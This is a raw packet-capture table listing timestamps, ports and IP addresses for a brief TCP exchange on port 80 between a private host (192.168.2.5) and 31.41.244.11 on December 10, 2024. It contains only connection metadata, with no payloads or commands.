Dec 10, 2024 02:51:10.991264105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.991307020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.992371082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.992417097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.992451906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.992503881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.993590117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.993630886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.993697882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.993741989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.994797945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.994841099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.994904995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.994947910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.996011972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.996057987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.996119976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.996164083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.997246027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.997292995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.997354984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.997396946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.998470068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.998519897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.998558044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.998621941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.999665976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.999712944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.999767065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.999824047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.000889063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.000936031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.000986099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.001027107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.002114058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.002171993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.002203941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.002259970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.003353119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.003396988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.003458023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.003505945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.004539013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.004581928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.004650116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.004688978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.005768061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.005811930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.005878925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.005934000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.006999016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.007044077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.007108927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.007153034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.008219004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.008264065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.008311033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.008353949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.009424925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.009470940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.009506941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.009547949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.010639906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.010693073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.010726929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.010762930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.011852026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.011898994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.011971951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.012027979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.013066053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.013115883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.013200045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.013252974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.014286041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.014331102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.014404058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.014465094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.015503883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.015551090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.015593052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.015635967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.016761065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.016810894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.016830921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.016872883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.017954111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.018007994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.018045902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.018090010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.019207954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.019226074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.019257069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.019275904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.020375013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.020423889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.020478010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.020524025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.021617889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.021665096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.021719933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.021760941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.022813082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.022867918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.022929907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.022980928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.024048090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.024095058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.024152040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.024192095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.025259972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.025310040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.025374889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.025413990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.026474953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.026518106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.026587963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.026632071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.027686119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.027729034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.027977943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.028026104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.028923035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.028974056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.029006004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.029048920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.030163050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.030208111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.030263901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.030311108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.031390905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.031434059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.031501055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.031548977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.032566071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.032613039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.032666922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.032710075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.033802986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.033858061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.033904076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.033945084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.034996033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.035048962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.035100937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.035144091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.036221027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.036272049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.036305904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.036350012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.039244890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.039295912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.039335012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.039521933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.039846897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.039896011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.039953947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.039999008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.041100979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.041148901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.041181087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.041224957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.042275906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.042330980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.169553041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.169603109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.169656992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.169687033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.170167923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.170218945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.170260906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.170311928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.170437098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.170485973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.171549082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.171597004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.171629906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.171675920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.172722101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.172770977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.172805071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.172851086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.173964024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.174005032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.174101114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.174144983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.175124884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.175172091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.175244093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.175290108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.176353931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.176403046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.176476955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.176517963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.177534103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.177578926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.177629948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.177675962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.178751945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.178792953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.178831100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.178873062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.179955006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.180001974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.180159092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.180233955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.181175947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.181221962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.181257963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.181301117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.182399035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.182446957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.182528973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.182601929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.183538914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.183590889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.183705091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.183753014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.184710979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.184762001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.184868097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.184917927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.185950041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.186000109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.186083078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.186127901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.187184095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.187236071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.187299967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.187350035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.188354015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.188402891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.188498020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.188544989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.189537048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.189584017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.189714909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.189762115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.190792084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.190840006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.190938950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.190987110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.191982985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.192028046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.192100048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.192158937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.193196058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.193252087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.193276882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.193330050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.194399118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.194446087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.194544077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.194591045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.195635080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.195692062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.195720911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.195766926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.196806908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.196856022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.196914911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.196959019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.198061943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.198110104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.198141098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.198188066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.199219942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.199268103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.199326992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.199373007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.200428009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.200478077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.200620890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.200670958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.201653004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.201714039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.201725006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.201767921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.202831030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.202878952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.202939987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.202986956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.204040051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.204090118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.204171896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.204216957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.205226898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.205269098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.205334902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.205379009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.206418991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.206463099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.206538916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.206584930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.207612038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.207659006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.207837105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.207885027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.208849907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.208900928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.208959103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.209007025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.210053921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.210180998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.210231066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.211266994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.211366892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.211420059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.212459087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.212558031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.212630987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.213685036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.213727951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.213865995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.214018106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.214860916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.214909077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.214992046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.215037107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.216490030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.216501951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.216538906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.217291117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.217339039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.217401981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.217449903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.218524933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.218579054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.218584061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.218628883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.219683886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.219737053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.219773054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.219816923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.220880032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.220932961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.221004009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.221049070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.222091913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.222141981 CET	49859	80	192.168.2.5	31.41.244.11
